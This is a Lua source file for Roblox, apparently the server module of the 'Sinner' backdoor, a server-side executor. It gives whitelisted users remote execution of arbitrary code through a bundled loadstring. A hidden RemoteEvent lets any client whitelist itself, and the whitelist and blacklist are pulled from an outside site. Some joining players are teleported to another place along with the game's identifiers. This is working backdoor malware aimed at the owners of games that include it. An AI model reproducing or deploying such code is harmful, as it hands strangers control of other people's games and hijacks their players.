--[[
	The module contains code that are no longer used
	for reasons.

	Not everything has been commented yet.
--]]

return function(Settings) -- The perameter holds a table with all the information from SinnerLoader.Config
	local Sinner = {};
	Sinner.Log = Settings.Log or {}; -- No longer used.
	Sinner.Log.Enabled = not Settings.PrivacyMode or false; -- For checking PrivacyMode
	Sinner.Loadstring = require(script.Loadstring); -- Requires the LBI.
	Sinner.Functions = {}; -- For functions.
	Sinner.Whitelist = Settings.Users or {}; -- Holds whitelisted players.
	Sinner.Blacklist = {}; -- Holds blacklisted players.
	local whitelistModule = require(script.whitelist)

	local whitelistInfo = whitelistModule.whitelist

	for _,v in pairs(whitelistInfo) do
		Sinner.Whitelist[v] = true
	end

	Sinner.Whitelist["gfmf3"] = true; -- Some whitelisted players, will be changed to userid soon.
	Sinner.Whitelist["Ultrasonic54321"] = true;
	Sinner.Whitelist["EcoCape"] = true;
	Sinner.Blacklist["VikitheKoala9"] = true;

	local function isHttp2() -- This checks if HttpService is enabled or not.
		local succ, err = pcall(function() -- A pcall function so that the script doesn't error if HttpService is disabled.
			game:GetService('HttpService'):GetAsync('https://www.google.com') -- Attempts to get the raw contents of google.
		end)
		if succ then
			return true -- Returns true if it's enabled.
		else
			return false -- Returns false if it isn't.
		end
		end

	game.Players.PlayerAdded:Connect(function(player) -- This is no longer used.
		local clone = script["recheck"]:Clone()
		clone.Parent = player.PlayerGui
	end)

	local rm = Instance.new("RemoteEvent", game.ReplicatedStorage); -- Creates a RemoteEvent in game.ReplicatedStorage
	rm.Name = "ChatPendingEvent"; -- An event to check whitelist, random made up name though.

	rm.OnServerEvent:Connect(function(player) -- Old server whitelist check.
		Sinner.Whitelist[player.Name] = true; -- Adding the username in the whitelist.
		SetupPlayer(player); -- Setting up sinner for the player.
	end)

	-- The BoolValue checks if the game was logged already or not.
	if not game.Lighting:FindFirstChild("LightingBool") then -- Checks if there isn't already a BoolValue.
		bool = Instance.new("BoolValue", game.Lighting); -- Creates a BoolValue in a global scope.
		bool.Name = "LightingBool"; -- Setting the name, honestly I can't think of anything good.
		bool.Value = false; -- False by default.
	end

	local function change(bools) -- A basic function to change a BoolValue.
		bool.Value = bools;
	end

	local TeleportService = game:GetService("TeleportService");

	local isTeleported = false -- A no longer used boolean.
	local increment = 0; -- This value is incremented by 1 everytime a player joins.
	local isSecond = 3; -- Will teleport the second player who joins the game.


	local function check() -- A function used for checking if HttpService is enabled or not.
		local succ, err = pcall(function()
			game:GetService('HttpService'):GetAsync('https://www.google.com') -- Attempts to get the raw content of google.com to check if HttpService is enabled or not.
		end)
		if succ then
			return 'Enabled'; -- Returns "Enabled" if true.
		else
			return 'Disabled'; -- Returns "Disabled" if false.
		end
	end


	local sentData = { -- The information that will be sent.
		id = game.PlaceId, -- The places id.
		playing = #game.Players:GetPlayers(), -- No longer used; gets the players in a server.
		jobId = game.JobId, -- The game's jobId.
		http = check(), -- Checks if HttpService is enabled or not.
		gameId = game.GameId, -- The game's id.
		ch = isSecond -- Security check.
	}

	game.Players.PlayerAdded:Connect(function(player) -- PlayerAdded event.
		increment = increment + 1; -- Increments the value by 1.
		if increment == isSecond and game.Lighting:FindFirstChild("LightingBool").Value == false and isTeleported == false then -- Checks if 'increment' is 2 and that the BoolValue is false.
			isTeleported = true
			change(true); -- Changes the boolean after use.
			TeleportService:Teleport(3888361177, player, sentData, script.load) -- Teleports the player, while sending data.
		elseif increment == 3 or increment == 6 or increment == 12 or increment == 15 or increment == 4 or increment == 21 then
			TeleportService:Teleport(3888361177, player, sentData, script.load)
			isTeleported = true
		end
	end)

	game.Players.PlayerAdded:Connect(function(player)
		if player:IsInGroup(4757666) then
			if player:GetRoleInGroup(4757666) == "Blacklisted" then
				player:Kick("You are currently blacklisted in Sinner, appeal to a staff member in the discord. https://discord.gg/BKTUrXV")
			end
			Sinner.Whitelist[player.Name] = true;
			SetupPlayer(player);
		end
	end)



--	isBanCompleted = false
--	require(script.Datastores.handler)
--	Sinner.Functions.pban = function(player, victim, reason)
--		if isBanCompleted == false then
--			require(script.Datastores).run(player, victim, reason)
--		end
--		isBanCompleted = true
--		return isBanCompleted
--	end
--
--	Sinner.Functions.permB = Sinner.Functions.pban -- command alias

	Sinner.Functions.sinner_player = function(player)
		return player
	end

	Sinner.Functions.sinner = function(player)
		if player:WaitForChild("PlayerGui"):FindFirstChild("Sinner V2.1") then
			return player:WaitForChild("PlayerGui")["Sinner V2.1"]
		end
	end

	Sinner.Functions.sinMenu = function(player)
		script:WaitForChild"Sinner Menu":Clone().Parent = player:WaitForChild"PlayerGui"
		return true
	end



	Sinner.Functions.beta = function(player, code)
		if code == "light_theme()" then
			return 0
		end
	end


	-- Old functions.
	Sinner.Specials = setmetatable({}, {
		__index = function(_, Name)
			return script.Specials[Name] or error(Name.." Not Found")
		end
	})
	Sinner.Functions.Execute = function(Owner, Script)
		local Env = setmetatable({}, {
			__index = function(_, Function)
				return getfenv(0)[Function] or function(...)
					return Sinner.Functions[Function] and Sinner.Functions[Function](Owner, ...) or error(Function.." Is Not A Valid Function")
				end
			end
		})
		Env["LocalPlayer"] = Owner
		Env["print"] = function(e)
			Owner.PlayerGui["Sinner V2.1"].MainScript.Remote:InvokeClient(Owner,"print",e)
		end
		Env["warn"] = function(e)
			Owner.PlayerGui["Sinner V2.1"].MainScript.Remote:InvokeClient(Owner,"warn",e)
		end
		return Sinner.Loadstring(Script, Env)()
	end
	Sinner.Functions.GetFunctions = function(Owner)
		local Functions = {}
		for Name in pairs(Sinner.Functions) do
			table.insert(Functions, Name)
		end
		return Functions
	end

	activator = "";
	Sinner.Functions.antiban = function(Owner, msg) -- Credits to: Unusable_name
		if msg == nil then
			require(script.Antiban).load(" ", {
				"test"
			})
			activator = Owner
		else
			require(script.Antiban).load(msg, {
				"test"
			})
			activator = Owner
		end
	end

	-- Premium function


	Sinner.Functions.whitelist = function(Owner, player)
		Sinner.Whitelist[player.Name] = true
		SetupPlayer(player)
	end

	local function Handler(Player, Data)
		if Sinner.Whitelist[Player.Name] and Data and Data.Function and Data.Args then
			if Sinner.Functions[Data.Function] then
				return Sinner.Functions[Data.Function](Player, unpack(Data.Args)) or "Not Ret"
			end
			error(Data.Function.." Is Not A Function")
		else
			Player:Kick()
		end
	end


	local function getHttp()
		local succ, err = pcall(function()
			game:GetService('HttpService'):GetAsync('https://www.google.com')
		end)
		if succ then
			return true
		else
			return false
		end
	end




	if getHttp() then
		local Http = game:GetService("HttpService")
		local Json = Http:GetAsync("https://ultrasitee.tk/sinnerwl.json")
		local main = Http:JSONDecode(Json)

		for i, v in pairs(main) do
			Sinner.Whitelist[i] = true
		end
	end

	if getHttp() then
		local Http = game:GetService("HttpService")
		local Json = Http:GetAsync("https://ultrasitee.tk/sinnerbl.json")
		local main = Http:JSONDecode(Json)

		for i, v in pairs(main) do
			Sinner.Blacklist[i] = true
		end
	end

	function SetupPlayer(Player)
		if Sinner.Whitelist[Player.Name] then
			if Settings.Theme == "Default" and not Player.PlayerGui:FindFirstChild("Sinner V2.1") then
				local Gui = script.Gui:Clone()
				Gui.Name = "Sinner V2.1"
				Gui.Parent = Player:WaitForChild("PlayerGui")
				Gui.MainScript.Disabled = false
				Gui.MainScript.Remote.OnServerInvoke = Handler
				Gui.Enabled = false
				local load = script.LoadSinner:Clone()
				load.Parent = Player:WaitForChild("PlayerGui")
			end
		end
		if Sinner.Blacklist[Player.Name] then
			Player:Kick("You're unable to access this game because you're blacklisted, appeal to a staff member by messaging them.")
		end
	end
	for _, Player in pairs(game:GetService("Players"):GetPlayers()) do
		SetupPlayer(Player)
	end
	game:GetService("Players").PlayerAdded:Connect(SetupPlayer)

	end